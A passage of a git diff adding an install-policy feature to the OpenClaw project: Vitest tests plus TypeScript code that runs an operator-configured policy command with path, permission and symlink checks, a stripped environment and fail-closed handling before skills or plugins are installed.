expect(captured.PATH).toBeUndefined(); + expect(captured.Path).toBeUndefined(); + }); + + it("skips skill requests when targets only include plugins", async () => { + const config: OpenClawConfig = { + security: { + installPolicy: { + enabled: true, + targets: ["plugin"], + exec: { + source: "exec", + command: process.execPath, + args: [scriptPath], + env: { + EXIT_CODE: "1", + }, + allowInsecurePath: true, + }, + }, + }, + }; + + await expect(runInstallPolicy({ config, request: baseRequest(sourceDir) })).resolves.toBe( + undefined, + ); + }); + + it("prefixes operator blocks", async () => { + const warnings: string[] = []; + const result = await runInstallPolicy({ + config: configWithPolicy(scriptPath, { + POLICY_RESPONSE: JSON.stringify({ + protocolVersion: 1, + decision: "block", + reason: "unapproved registry", + }), + }), + logger: { warn: (message) => warnings.push(message) }, + request: baseRequest(sourceDir), + }); + + expect(result?.blocked).toEqual({ + code: "security_scan_blocked", + reason: "blocked by install policy: unapproved registry", + }); + expect(warnings.join("\n")).toContain("target=skill:weather"); + expect(warnings.join("\n")).toContain("source=clawhub/openclaw"); + expect(warnings.join("\n")).toContain("blocked by install policy"); + }); + + it("preserves allow findings without file or line", async () => { + const result = await runInstallPolicy({ + config: configWithPolicy(scriptPath, { + POLICY_RESPONSE: JSON.stringify({ + protocolVersion: 1, + decision: "allow", + findings: [ + { + ruleId: "registry-review", + severity: "warn", + message: "Registry requires review.", + }, + ], + }), + }), + request: baseRequest(sourceDir), + }); + + expect(result).toEqual({ + findings: [ + { + ruleId: "registry-review", + severity: "warn", + message: "Registry requires review.", + }, + ], + }); + }); + + it("preserves block findings without file or line", async () => { + const result = await runInstallPolicy({ + config: configWithPolicy(scriptPath, { + POLICY_RESPONSE: JSON.stringify({ + protocolVersion: 1, + decision: "block", + reason: "unapproved registry", + findings: [ + { + ruleId: "registry-review", + severity: "critical", + message: "Registry is not approved.", + }, + ], + }), + }), + request: baseRequest(sourceDir), + }); + + expect(result).toEqual({ + blocked: { + code: "security_scan_blocked", + reason: "blocked by install policy: unapproved registry", + }, + findings: [ + { + ruleId: "registry-review", + severity: "critical", + message: "Registry is not approved.", + }, + ], + }); + }); + + it("fails closed on malformed policy output", async () => { + const warnings: string[] = []; + const result = await runInstallPolicy({ + config: configWithPolicy(scriptPath, { + POLICY_RESPONSE: "not json", + }), + logger: { warn: (message) => warnings.push(message) }, + request: baseRequest(sourceDir), + }); + + expect(result?.blocked?.code).toBe("security_scan_failed"); + expect(result?.blocked?.reason).toContain("install policy failed closed"); + expect(result?.blocked?.reason).toContain("invalid JSON"); + expect(warnings.join("\n")).toContain("install policy failed closed"); + }); + + it("does not expose policy command stderr in fail-closed reasons", async () => { + const warnings: string[] = []; + const result = await runInstallPolicy({ + config: configWithPolicy(scriptPath, { + EXIT_CODE: "7", + STDERR_TEXT: "policy-secret-token", + }), + logger: { warn: (message) => warnings.push(message) }, + request: baseRequest(sourceDir), + }); + + expect(result?.blocked?.code).toBe("security_scan_failed"); + expect(result?.blocked?.reason).toContain("policy command exited with code 7"); + expect(result?.blocked?.reason).not.toContain("policy-secret-token"); + expect(warnings.join("\n")).not.toContain("policy-secret-token"); + }); + + it("rejects relative policy command paths before resolving cwd", async () => { + const result = await runInstallPolicy({ + config: { + security: { + installPolicy: { + enabled: true, + exec: { + source: "exec", + command: "policy.cjs", + args: [], + allowInsecurePath: true, + }, + }, + }, + }, + request: baseRequest(sourceDir), + }); + + expect(result?.blocked?.code).toBe("security_scan_failed"); + expect(result?.blocked?.reason).toContain( + "security.installPolicy.exec.command must be an absolute path", + ); + }); + + it.runIf(process.platform !== "win32")( + "rejects Windows-style policy command paths on POSIX", + async () => { + const result = await runInstallPolicy({ + config: { + security: { + installPolicy: { + enabled: true, + exec: { + source: "exec", + command: "C:\\tmp\\policy.cjs", + args: [], + allowInsecurePath: true, + }, + }, + }, + }, + request: baseRequest(sourceDir), + }); + + expect(result?.blocked?.code).toBe("security_scan_failed"); + expect(result?.blocked?.reason).toContain( + "security.installPolicy.exec.command must be an absolute path", + ); + }, + ); + + it("reports static validation issues without running policy command", async () => { + const validation = await validateInstallPolicyStatic({ + security: { + installPolicy: { + enabled: true, + exec: { + source: "exec", + command: "policy.cjs", + }, + }, + }, + }); + + expect(validation).toMatchObject({ + enabled: true, + targets: ["skill", "plugin"], + }); + expect(validation.issues.map((issue) => issue.message)).toContain( + "security.installPolicy.exec.command must be an absolute path.", + ); + }); + + it("rejects policy commands under writable parent directories", async () => { + if (process.platform === "win32") { + return; + } + const dir = await makeTempDir(); + const writableDir = path.join(dir, "writable-parent"); + await fs.mkdir(writableDir, { recursive: true }); + await fs.chmod(writableDir, 0o777); + const writableScriptPath = await writePolicyScript(writableDir); + + const validation = await validateInstallPolicyStatic({ + security: { + installPolicy: { + enabled: true, + exec: { + source: "exec", + command: writableScriptPath, + }, + }, + }, + }); + + expect(validation.issues.map((issue) => issue.message)).toContain( + `security.installPolicy.exec.command parent directory permissions are too open: ${writableDir}`, + ); + }); + + it("rejects policy interpreter script args under writable parent directories", async () => { + if (process.platform === "win32") { + return; + } + const dir = await makeTempDir(); + const writableDir = path.join(dir, "writable-parent"); + await fs.mkdir(writableDir, { recursive: true }); + await fs.chmod(writableDir, 0o777); + const writableScriptPath = await writePolicyScript(writableDir); + + const validation = await validateInstallPolicyStatic({ + security: { + installPolicy: { + enabled: true, + exec: { + source: "exec", + command: process.execPath, + args: [writableScriptPath], + }, + }, + }, + }); + + expect(validation.issues.map((issue) => issue.message)).toContain( + `security.installPolicy.exec.args[0] parent directory permissions are too open: ${writableDir}`, + ); + }); + + it("validates later interpreter script args after path-taking options", async () => { + if (process.platform === "win32") { + return; + } + const dir = await makeTempDir(); + const writableDir = path.join(dir, "writable-parent"); + await fs.mkdir(writableDir, { recursive: true }); + await fs.chmod(writableDir, 0o777); + const writableScriptPath = await writePolicyScript(writableDir); + + const validation = await validateInstallPolicyStatic({ + security: { + installPolicy: { + enabled: true, + exec: { + source: "exec", + command: process.execPath, + args: ["--require", scriptPath, writableScriptPath], + }, + }, + }, + }); + + expect(validation.issues.map((issue) => issue.message)).toContain( + `security.installPolicy.exec.args[2] parent directory permissions are too open: ${writableDir}`, + ); + }); + + it("validates interpreter option values that embed script paths", async () => { + if (process.platform === "win32") { + return; + } + const dir = await makeTempDir(); + const writableDir = path.join(dir, "writable-parent"); + await fs.mkdir(writableDir, { recursive: true }); + await fs.chmod(writableDir, 0o777); + const writableScriptPath = await writePolicyScript(writableDir); + + const validation = await validateInstallPolicyStatic({ + security: { + installPolicy: { + enabled: true, + exec: { + source: "exec", + command: process.execPath, + args: [`--require=${writableScriptPath}`, scriptPath], + }, + }, + }, + }); + + expect(validation.issues.map((issue) => issue.message)).toContain( + `security.installPolicy.exec.args[0] parent directory permissions are too open: ${writableDir}`, + ); + }); + + it.runIf(process.platform !== "win32")( + "rejects symlinked interpreter script args even when command symlinks are allowed", + async () => { + const dir = await makeTempDir(); + const realScriptPath = await writePolicyScript(dir); + const symlinkScriptPath = path.join(dir, "policy-link.cjs"); + await fs.symlink(realScriptPath, symlinkScriptPath); + + const validation = await validateInstallPolicyStatic({ + security: { + installPolicy: { + enabled: true, + exec: { + source: "exec", + command: process.execPath, + args: [symlinkScriptPath], + allowSymlinkCommand: true, + }, + }, + }, + }); + + expect(validation.issues.map((issue) => issue.message)).toContain( + `security.installPolicy.exec.args[0] must not be a symlink: ${symlinkScriptPath}`, + ); + }, + ); + + it.runIf(process.platform !== "win32")( + "rejects env policy commands before interpreter resolution can bypass validation", + async () => { + const validation = await validateInstallPolicyStatic({ + security: { + installPolicy: { + enabled: true, + exec: { + source: "exec", + command: "/usr/bin/env", + args: ["-S", `node ${scriptPath}`], + allowInsecurePath: true, + }, + }, + }, + }); + + expect(validation.issues.map((issue) => issue.message)).toContain( + "security.installPolicy.exec.command must not use env; configure the policy executable directly.", + ); + }, + ); +}); diff --git a/src/security/install-policy.ts b/src/security/install-policy.ts new file mode 100644 index 000000000000..abfa501fe9b5 --- /dev/null +++ b/src/security/install-policy.ts @@ -0,0 +1,872 @@ +import { spawn } from "node:child_process"; +import fs from "node:fs/promises"; +import path from "node:path"; +import type { OpenClawConfig, SecurityConfig } from "../config/types.openclaw.js"; +import { formatErrorMessage } from "../infra/errors.js"; +import { normalizePositiveInt, normalizePositiveTimerMs } from "../secrets/shared.js"; +import { resolveUserPath } from "../utils.js"; +import { resolveRuntimeServiceVersion } from "../version.js"; +import { inspectPathPermissions, safeStat } from "./audit-fs.js"; +import { isPathInside } from "./scan-paths.js"; + +const DEFAULT_TIMEOUT_MS = 10_000; +const DEFAULT_MAX_OUTPUT_BYTES = 1024 * 1024; +const DEFAULT_MAX_REQUEST_BYTES = 256 * 1024; +const MAX_REASON_CHARS = 1000; +const MAX_FINDINGS = 100; +const MAX_FINDING_TEXT_CHARS = 1000; +const WINDOWS_ABS_PATH_PATTERN = /^[A-Za-z]:[\\/]/; +const WINDOWS_UNC_PATH_PATTERN = /^\\\\[^\\]+\\[^\\]+/; +const POLICY_INTERPRETER_NAMES = new Set([ + "bash", + "bun", + "deno", + "env", + "fish", + "node", + "perl", + "powershell", + "pwsh", + "python", + "python3", + "ruby", + "sh", + "zsh", +]); +const POLICY_SCRIPT_ARG_PATTERN = /\.(?:bash|cjs|cts|js|mjs|mts|pl|ps1|py|rb|sh|ts|zsh)$/i; + +export type InstallPolicyTarget = "skill" | "plugin"; +export type InstallPolicyRequestKind = + | "skill-install" + | "plugin-dir" + | "plugin-archive" + | "plugin-file" + | "plugin-npm" + | "plugin-git"; + +export type InstallPolicyOrigin = { + type: string; + [key: string]: string | number | boolean | null | undefined; +}; + +export type InstallPolicySource = { + kind: + | "archive" + | "bundled" + | "clawhub" + | "file" + | "git" + | "local-path" + | "managed" + | "npm" + | "upload" + | "workspace"; + authority: "openclaw" | "official" | "third-party" | "unknown" | "user"; + mutable: boolean; + network: boolean; +}; + +export type InstallPolicyFinding = { + ruleId: string; + severity: "info" | "warn" | "critical"; + message: string; + file?: string; + line?: number; + evidence?: string; +}; + +export type InstallPolicyRequest = { + targetType: InstallPolicyTarget; + targetName: string; + sourcePath: string; + sourcePathKind: "file" | "directory"; + source?: InstallPolicySource; + origin: InstallPolicyOrigin; + request: { + kind: InstallPolicyRequestKind; + mode: "install" | "update"; + requestedSpecifier?: string; + }; + skill?: { + installId: string; + installSpec?: { + id?: string; + kind: "brew" | "node" | "go" | "uv" | "download"; + label?: string; + bins?: string[]; + os?: string[]; + formula?: string; + package?: string; + module?: string; + url?: string; + archive?: string; + extract?: boolean; + stripComponents?: number; + targetDir?: string; + }; + }; + plugin?: { + pluginId: string; + contentType: "bundle" | "package" | "file" | "dependency-tree"; + packageName?: string; + manifestId?: string; + version?: string; + extensions?: string[]; + }; +}; + +export type InstallPolicyResult = + | { blocked?: undefined; findings?: InstallPolicyFinding[] } + | { + blocked: { + code: "security_scan_blocked" | "security_scan_failed"; + reason: string; + }; + findings?: InstallPolicyFinding[]; + }; + +type ExecRunResult = { + stdout: string; + stderr: string; + code: number | null; + signal: NodeJS.Signals | null; + termination: "exit" | "timeout" | "no-output-timeout"; +}; + +type InstallPolicyExecConfig = NonNullable["exec"]>; + +export type InstallPolicyValidationIssue = { + severity: "error" | "warning"; + message: string; +}; + +export type InstallPolicyStaticValidation = { + enabled: boolean; + targets: InstallPolicyTarget[]; + issues: InstallPolicyValidationIssue[]; +}; + +function isAbsolutePathname(value: string): boolean { + if (path.isAbsolute(value)) { + return true; + } + return ( + process.platform === "win32" && + (WINDOWS_ABS_PATH_PATTERN.test(value) || WINDOWS_UNC_PATH_PATTERN.test(value)) + ); +} + +function executableName(commandPath: string): string { + return path + .basename(commandPath) + .replace(/\.exe$/i, "") + .toLowerCase(); +} + +function isPolicyScriptArg(value: string): boolean { + return ( + isAbsolutePathname(value) || + value.startsWith(".") || + value.includes("/") || + value.includes("\\") || + POLICY_SCRIPT_ARG_PATTERN.test(value) + ); +} + +function resolvePolicyScriptArg(params: { + command: string; + args: string[]; +}): + | { kind: "scripts"; scripts: Array<{ index: number; path: string }> } + | { kind: "unsupported"; message: string } + | undefined { + const interpreterName = executableName(params.command); + const startIndex = 0; + if (interpreterName === "env") { + return { + kind: "unsupported", + message: + "security.installPolicy.exec.command must not use env; configure the policy executable directly.", + }; + } + if (!POLICY_INTERPRETER_NAMES.has(interpreterName) || interpreterName === "env") { + return undefined; + } + const scripts: Array<{ index: number; path: string }> = []; + for (let index = startIndex; index < params.args.length; index += 1) { + const arg = params.args[index]; + if (!arg) { + continue; + } + if (arg.startsWith("-")) { + const equalsIndex = arg.indexOf("="); + if (equalsIndex > 0) { + const optionValue = arg.slice(equalsIndex + 1); + if (isPolicyScriptArg(optionValue)) { + scripts.push({ index, path: optionValue }); + } + } + continue; + } + if (isPolicyScriptArg(arg)) { + scripts.push({ index, path: arg }); + } + } + return scripts.length > 0 ? { kind: "scripts", scripts } : undefined; +} + +async function readFileStatOrThrow(pathname: string, label: string) { + const stat = await safeStat(pathname); + if (!stat.ok) { + throw new Error(`${label} is not readable: ${pathname}`); + } + if (stat.isDir) { + throw new Error(`${label} must be a file: ${pathname}`); + } + return stat; +} + +function collectPathAncestorDirs(targetPath: string): string[] { + const dirs: string[] = []; + let current = path.resolve(path.dirname(targetPath)); + while (true) { + dirs.push(current); + const parent = path.dirname(current); + if (parent === current) { + return dirs; + } + current = parent; + } +} + +async function assertSecureCommandAncestorDirs(params: { + targetPath: string; + label: string; +}): Promise { + const currentUid = typeof process.getuid === "function" ? process.getuid() : undefined; + for (const dir of collectPathAncestorDirs(params.targetPath)) { + const perms = await inspectPathPermissions(dir); + if (!perms.ok) { + throw new Error(`${params.label} parent directory permissions could not be verified: ${dir}`); + } + let sticky = false; + if (process.platform !== "win32" && (perms.worldWritable || perms.groupWritable)) { + try { + sticky = ((await fs.stat(dir)).mode & 0o1000) !== 0; + } catch { + sticky = false; + } + } + if ((perms.worldWritable || perms.groupWritable) && !sticky) { + throw new Error(`${params.label} parent directory permissions are too open: ${dir}`); + } + if (process.platform !== "win32" && currentUid !== undefined) { + let stat: Awaited>; + try { + stat = await fs.stat(dir); + } catch { + throw new Error(`${params.label} parent directory ownership could not be verified: ${dir}`); + } + if (stat.uid !== 0 && stat.uid !== currentUid) { + throw new Error(`${params.label} parent directory owner is not trusted: ${dir}`); + } + } + if (process.platform === "win32" && perms.source === "unknown") { + throw new Error( + `${params.label} parent directory ACL verification unavailable on Windows for ${dir}. Set allowInsecurePath=true for this policy to bypass this check when the path is trusted.`, + ); + } + } +} + +async function assertSecureCommandPath(params: { + targetPath: string; + label: string; + trustedDirs?: string[]; + allowInsecurePath?: boolean; + allowSymlinkPath?: boolean; +}): Promise { + if (!isAbsolutePathname(params.targetPath)) { + throw new Error(`${params.label} must be an absolute path.`); + } + + let effectivePath = params.targetPath; + let stat = await readFileStatOrThrow(effectivePath, params.label); + if (stat.isSymlink) { + if (!params.allowSymlinkPath) { + throw new Error(`${params.label} must not be a symlink: ${effectivePath}`); + } + try { + effectivePath = await fs.realpath(effectivePath); + } catch { + throw new Error(`${params.label} symlink target is not readable: ${params.targetPath}`); + } + if (!isAbsolutePathname(effectivePath)) { + throw new Error(`${params.label} resolved symlink target must be an absolute path.`); + } + stat = await readFileStatOrThrow(effectivePath, params.label); + if (stat.isSymlink) { + throw new Error(`${params.label} symlink target must not be a symlink: ${effectivePath}`); + } + } + + if (params.trustedDirs && params.trustedDirs.length > 0) { + const trusted = params.trustedDirs.map((entry) => resolveUserPath(entry)); + const inTrustedDir = trusted.some((dir) => isPathInside(dir, effectivePath)); + if (!inTrustedDir) { + throw new Error(`${params.label} is outside trustedDirs: ${effectivePath}`); + } + } + if (params.allowInsecurePath) { + return effectivePath; + } + + const perms = await inspectPathPermissions(effectivePath); + if (!perms.ok) { + throw new Error(`${params.label} permissions could not be verified: ${effectivePath}`); + } + if (perms.worldWritable || perms.groupWritable) { + throw new Error(`${params.label} permissions are too open: ${effectivePath}`); + } + await assertSecureCommandAncestorDirs({ targetPath: effectivePath, label: params.label }); + + if (process.platform === "win32" && perms.source === "unknown") { + throw new Error( + `${params.label} ACL verification unavailable on Windows for ${effectivePath}. Set allowInsecurePath=true for this policy to bypass this check when the path is trusted.`, + ); + } + + if (process.platform !== "win32" && typeof process.getuid === "function" && stat.uid != null) { + const uid = process.getuid(); + if (stat.uid !== uid && stat.uid !== 0) { + throw new Error( + `${params.label} must be owned by the current user (uid=${uid}) or root: ${effectivePath}`, + ); + } + } + return effectivePath; +} + +async function assertSecurePolicyScriptArg(params: { + command: string; + args: string[]; + trustedDirs?: string[]; + allowInsecurePath?: boolean; + allowSymlinkPath?: boolean; +}): Promise { + const scriptArg = resolvePolicyScriptArg({ command: params.command, args: params.args }); + if (!scriptArg) { + return; + } + if (scriptArg.kind === "unsupported") { + throw new Error(scriptArg.message); + } + for (const script of scriptArg.scripts) { + await assertSecureCommandPath({ + targetPath: script.path, + label: `security.installPolicy.exec.args[${script.index}]`, + trustedDirs: params.trustedDirs, + allowInsecurePath: params.allowInsecurePath, + allowSymlinkPath: false, + }); + } +} + +function truncateText(value: string, maxChars: number): string { + return value.length <= maxChars ? value : `${value.slice(0, maxChars)}...`; +} + +function createPolicyChildEnv(sourceEnv: NodeJS.ProcessEnv): NodeJS.ProcessEnv { + void sourceEnv; + return {}; +} + +function readPassEnvValue(env: NodeJS.ProcessEnv, key: string): string | undefined { + const exact = env[key]; + if (exact !== undefined || process.platform !== "win32") { + return exact; + } + const lowerKey = key.toLowerCase(); + const matchedKey = Object.keys(env).find((candidate) => candidate.toLowerCase() === lowerKey); + return matchedKey ? env[matchedKey] : undefined; +} + +function blockedByFailure(message: string): InstallPolicyResult { + return { + blocked: { + code: "security_scan_failed", + reason: `install policy failed closed: ${truncateText(message, MAX_REASON_CHARS)}`, + }, + }; +} + +function blockedByPolicy(reason: string, findings?: InstallPolicyFinding[]): InstallPolicyResult { + return { + blocked: { + code: "security_scan_blocked", + reason: `blocked by install policy: ${truncateText(reason, MAX_REASON_CHARS)}`, + }, + ...(findings && findings.length > 0 ? { findings } : {}), + }; +} + +function isTargetEnabled(params: { + policy: NonNullable; + targetType: InstallPolicyTarget; +}): boolean { + const targets = params.policy.targets; + if (!targets || targets.length === 0) { + return true; + } + return targets.includes(params.targetType); +} + +function resolvePolicy( + config: OpenClawConfig | undefined, + targetType: InstallPolicyTarget, +): + | { kind: "disabled" } + | { kind: "configured"; exec: InstallPolicyExecConfig } + | { kind: "failure"; result: InstallPolicyResult } { + const policy = config?.security?.installPolicy; + if (!policy || policy.enabled !== true) { + return { kind: "disabled" }; + } + if (!isTargetEnabled({ policy, targetType })) { + return { kind: "disabled" }; + } + if (!policy.exec) { + return { + kind: "failure", + result: blockedByFailure( + "security.installPolicy is enabled but security.installPolicy.exec is not configured", + ), + }; + } + return { kind: "configured", exec: policy.exec }; +} + +function resolveConfiguredTargets( + policy: NonNullable, +): InstallPolicyTarget[] { + const targets = policy.targets; + return targets && targets.length > 0 ? [...new Set(targets)] : ["skill", "plugin"]; +} + +export async function validateInstallPolicyStatic( + config: OpenClawConfig | undefined, +): Promise { + const policy = config?.security?.installPolicy; + if (!policy || policy.enabled !== true) { + return { enabled: false, targets: [], issues: [] }; + } + const targets = resolveConfiguredTargets(policy); + const issues: InstallPolicyValidationIssue[] = []; + if (!policy.exec) { + issues.push({ + severity: "error", + message: + "security.installPolicy is enabled but security.installPolicy.exec is not configured.", + }); + return { enabled: true, targets, issues }; + } + if (!isAbsolutePathname(policy.exec.command)) { + issues.push({ + severity: "error", + message: "security.installPolicy.exec.command must be an absolute path.", + }); + return { enabled: true, targets, issues }; + } + try { + await assertSecureCommandPath({ + targetPath: policy.exec.command, + label: "security.installPolicy.exec.command", + trustedDirs: policy.exec.trustedDirs, + allowInsecurePath: policy.exec.allowInsecurePath, + allowSymlinkPath: policy.exec.allowSymlinkCommand, + }); + } catch (err) { + issues.push({ + severity: "error", + message: formatErrorMessage(err), + }); + } + try { + await assertSecurePolicyScriptArg({ + command: policy.exec.command, + args: policy.exec.args ?? [], + trustedDirs: policy.exec.trustedDirs, + allowInsecurePath: policy.exec.allowInsecurePath, + allowSymlinkPath: policy.exec.allowSymlinkCommand, + }); + } catch (err) { + issues.push({ + severity: "error", + message: formatErrorMessage(err), + }); + } + return { enabled: true, targets, issues }; +} + +function isIgnorableStdinWriteError(error: unknown): boolean { + if (typeof error !== "object" || error === null || !("code" in error)) { + return false; + } + const code = String(error.code); + return code === "EPIPE" || code === "ERR_STREAM_DESTROYED"; +} + +async function runPolicyCommand(params: { + command: string; + args: string[]; + cwd: string; + env: NodeJS.ProcessEnv; + input: string; + timeoutMs: number; + noOutputTimeoutMs: number; + maxOutputBytes: number; +}): Promise { + return await new Promise((resolve, reject) => { + const child = spawn(params.command, params.args, { + cwd: params.cwd, + env: params.env, + stdio: ["pipe", "pipe", "pipe"], + shell: false, + windowsHide: true, + }); + + let settled = false; + let stdout = ""; + let stderr = ""; + let timedOut = false; + let noOutputTimedOut = false; + let outputBytes = 0; + let noOutputTimer: NodeJS.Timeout | null = null; + const timeoutTimer = setTimeout(() => { + timedOut = true; + child.kill("SIGKILL"); + }, params.timeoutMs); + + const clearTimers = () => { + clearTimeout(timeoutTimer); + if (noOutputTimer) { + clearTimeout(noOutputTimer); + noOutputTimer = null; + } + }; + + const armNoOutputTimer = () => { + if (noOutputTimer) { + clearTimeout(noOutputTimer); + } + noOutputTimer = setTimeout(() => { + noOutputTimedOut = true; + child.kill("SIGKILL"); + }, params.noOutputTimeoutMs); + }; + + const append = (chunk: Buffer | string, target: "stdout" | "stderr") => { + const text = typeof chunk === "string" ? chunk : chunk.toString("utf8"); + outputBytes += Buffer.byteLength(text, "utf8"); + if (outputBytes > params.maxOutputBytes) { + child.kill("SIGKILL"); + if (!settled) { + settled = true; + clearTimers(); + reject(new Error(`output exceeded maxOutputBytes (${params.maxOutputBytes})`)); + } + return; + } + if (target === "stdout") { + stdout += text; + } else { + stderr += text; + } + armNoOutputTimer(); + }; + + armNoOutputTimer(); + child.on("error", (error) => { + if (settled) { + return; + } + settled = true; + clearTimers(); + reject(error); + }); + child.stdout?.on("data", (chunk) => append(chunk, "stdout")); + child.stderr?.on("data", (chunk) => append(chunk, "stderr")); + child.on("close", (code, signal) => { + if (settled) { + return; + } + settled = true; + clearTimers(); + resolve({ + stdout, + stderr, + code, + signal, + termination: noOutputTimedOut ? "no-output-timeout" : timedOut ? "timeout" : "exit", + }); + }); + + const handleStdinError = (error: unknown) => { + if (isIgnorableStdinWriteError(error) || settled) { + return; + } + settled = true; + clearTimers(); + reject(error instanceof Error ? error : new Error(String(error))); + }; + child.stdin?.on("error", handleStdinError); + try { + child.stdin?.end(params.input); + } catch (error) { + handleStdinError(error); + } + }); +} + +function normalizeFinding(value: unknown): InstallPolicyFinding | null { + if (typeof value !== "object" || value === null) { + return null; + } + const record = value as Record; + const ruleId = typeof record.ruleId === "string" ? record.ruleId.trim() : ""; + const severity = record.severity; + const file = typeof record.file === "string" ? record.file.trim() : ""; + const lineNumber = + typeof record.line === "number" && Number.isFinite(record.line) + ? Math.max(1, Math.floor(record.line)) + : undefined; + const message = typeof record.message === "string" ? record.message.trim() : ""; + if ( + !ruleId || + !message || + (severity !== "info" && severity !== "warn" && severity !== "critical") + ) { + return null; + } + const evidence = typeof record.evidence === "string" ? record.evidence.trim() : ""; + return { + ruleId: truncateText(ruleId, MAX_FINDING_TEXT_CHARS), + severity, + message: truncateText(message, MAX_FINDING_TEXT_CHARS), + ...(file ? { file: truncateText(file, MAX_FINDING_TEXT_CHARS) } : {}), + ...(lineNumber ? { line: lineNumber } : {}), + ...(evidence ? { evidence: truncateText(evidence, MAX_FINDING_TEXT_CHARS) } : {}), + }; +} + +function parsePolicyResponse(stdout: string): InstallPolicyResult { + const trimmed = stdout.trim(); + if (!trimmed) { + return blockedByFailure("policy command returned empty stdout"); + } + + let parsed: unknown; + try { + parsed = JSON.parse(trimmed) as unknown; + } catch (err) { + return blockedByFailure(`policy command returned invalid JSON (${formatErrorMessage(err)})`); + } + if (typeof parsed !== "object" || parsed === null || Array.isArray(parsed)) { + return blockedByFailure("policy response must be a JSON object"); + } + const record = parsed as Record; + if (record.protocolVersion !== 1) { + return blockedByFailure("policy response protocolVersion must be 1"); + } + const decision = record.decision; + if (decision !== "allow" && decision !== "block") { + return blockedByFailure('policy response decision must be "allow" or "block"'); + } + const findings = Array.isArray(record.findings) + ? record.findings.slice(0, MAX_FINDINGS).map(normalizeFinding).filter(Boolean) + : []; + const normalizedFindings = findings as InstallPolicyFinding[]; + if (decision === "allow") { + return normalizedFindings.length > 0 ? { findings: normalizedFindings } : {}; + } + const reason = typeof record.reason === "string" ? record.reason.trim() : ""; + if (!reason) { + return blockedByFailure('policy response decision "block" requires a non-empty reason'); + } + return blockedByPolicy(reason, normalizedFindings); +} + +export async function runInstallPolicy(params: { + config?: OpenClawConfig; + env?: NodeJS.ProcessEnv; + logger?: { + debug?: (message: string) => void; + info?: (message: string) => void; + warn?: (message: string) => void; + }; + request: InstallPolicyRequest; +}): Promise { + const decisionContext = formatDecisionContext(params.request); + const logBlocked = (result: InstallPolicyResult): InstallPolicyResult => { + if (result.blocked) { + params.logger?.warn?.(`Install policy ${decisionContext}: ${result.blocked.reason}`); + } + return result; + }; + const failClosed = (message: string): InstallPolicyResult => + logBlocked(blockedByFailure(message)); + + let config = params.config; + if (!config) { + try { + const { getRuntimeConfig } = await import("../config/io.js"); + config = getRuntimeConfig({ skipPluginValidation: true }); + } catch (err) { + return failClosed(`could not load OpenClaw config (${formatErrorMessage(err)})`); + } + } + + const policy = resolvePolicy(config, params.request.targetType); + if (policy.kind === "disabled") { + return undefined; + } + if (policy.kind === "failure") { + return logBlocked(policy.result); + } + + const input = JSON.stringify({ + protocolVersion: 1, + openclawVersion: resolveRuntimeServiceVersion(params.env ?? process.env), + ...params.request, + }); + if (Buffer.byteLength(input, "utf8") > DEFAULT_MAX_REQUEST_BYTES) { + return failClosed(`policy request exceeded maxInputBytes (${DEFAULT_MAX_REQUEST_BYTES})`); + } + + const commandPath = policy.exec.command; + if (!isAbsolutePathname(commandPath)) { + return failClosed("security.installPolicy.exec.command must be an absolute path."); + } + let secureCommandPath: string; + try { + secureCommandPath = await assertSecureCommandPath({ + targetPath: commandPath, + label: "security.installPolicy.exec.command", + trustedDirs: policy.exec.trustedDirs, + allowInsecurePath: policy.exec.allowInsecurePath, + allowSymlinkPath: policy.exec.allowSymlinkCommand, + }); + } catch (err) { + return failClosed(formatErrorMessage(err)); + } + try { + await assertSecurePolicyScriptArg({ + command: secureCommandPath, + args: policy.exec.args ?? [], + trustedDirs: policy.exec.trustedDirs, + allowInsecurePath: policy.exec.allowInsecurePath, + allowSymlinkPath: policy.exec.allowSymlinkCommand, + }); + } catch (err) { + return failClosed(formatErrorMessage(err)); + } + + const env = params.env ?? process.env; + const childEnv = createPolicyChildEnv(env); + for (const key of policy.exec.passEnv ?? []) { + const value = readPassEnvValue(env, key); + if (value !== undefined) { + childEnv[key] = value; + } + } + for (const [key, value] of Object.entries(policy.exec.env ?? {})) { + childEnv[key] = value; + } + + const timeoutMs = normalizePositiveTimerMs(policy.exec.timeoutMs, DEFAULT_TIMEOUT_MS); + const noOutputTimeoutMs = normalizePositiveTimerMs(policy.exec.noOutputTimeoutMs, timeoutMs); + const maxOutputBytes = normalizePositiveInt(policy.exec.maxOutputBytes, DEFAULT_MAX_OUTPUT_BYTES); + const cwd = path.dirname(secureCommandPath); + let result: ExecRunResult; + try { + result = await runPolicyCommand({ + command: secureCommandPath, + args: policy.exec.args ?? [], + cwd, + env: childEnv, + input, + timeoutMs, + noOutputTimeoutMs, + maxOutputBytes, + }); + } catch (err) { + return failClosed(formatErrorMessage(err)); + } + if (result.termination === "timeout") { + return failClosed(`policy command timed out after ${timeoutMs}ms`); + } + if (result.termination === "no-output-timeout") { + return failClosed(`policy command produced no output for ${noOutputTimeoutMs}ms`); + } + if (result.code !== 0) { + return failClosed(`policy command exited with code ${String(result.code)}`); + } + + const parsed = parsePolicyResponse(result.stdout); + if (parsed.blocked) { + return logBlocked(parsed); + } + params.logger?.debug?.(`Install policy ${decisionContext}: allowed`); + return parsed; +} + +function formatDecisionContext(request: InstallPolicyRequest): string { + const source = request.source ? ` source=${request.source.kind}/${request.source.authority}` : ""; + const origin = typeof request.origin.type === "string" ? request.origin.type : "unknown"; + return [ + `target=${request.targetType}:${request.targetName}`, + `request=${request.request.kind}/${request.request.mode}`, + `origin=${origin}`, + `pathKind=${request.sourcePathKind}`, + source.trim(), + ] + .filter(Boolean) + .join(" "); +} + +export async function probeInstallPolicy(params: { + config: OpenClawConfig; + env?: NodeJS.ProcessEnv; + logger?: { + debug?: (message: string) => void; + info?: (message: string) => void; + warn?: (message: string) => void; + }; + sourcePath: string; +}): Promise { + const validation = await validateInstallPolicyStatic(params.config); + if (!validation.enabled || validation.issues.some((issue) => issue.severity === "error")) { + return undefined; + } + const targetType = validation.targets.includes("skill") ? "skill" : validation.targets[0]; + if (!targetType) { + return undefined; + } + return await runInstallPolicy({ + config: params.config, + env: params.env, + logger: params.logger, + request: { + targetType, + targetName: "doctor-install-policy-probe", + sourcePath: params.sourcePath, + sourcePathKind: "directory", + origin: { type: "doctor" }, + request: { + kind: targetType === "skill" ? "skill-install" : "plugin-dir", + mode: "install", + requestedSpecifier: "doctor:install-policy-probe", + }, + }, + }); +} diff --git a/src/skills/lifecycle/archive-install.test.ts b/src/skills/lifecycle/archive-install.test.ts index d817ba4ba0dd..6541e57ef595 100644 --- a/src/skills/lifecycle/archive-install.test.ts +++ b/src/skills/lifecycle/archive-install.test.ts @@ -1,8 +1,13 @@ import fs from 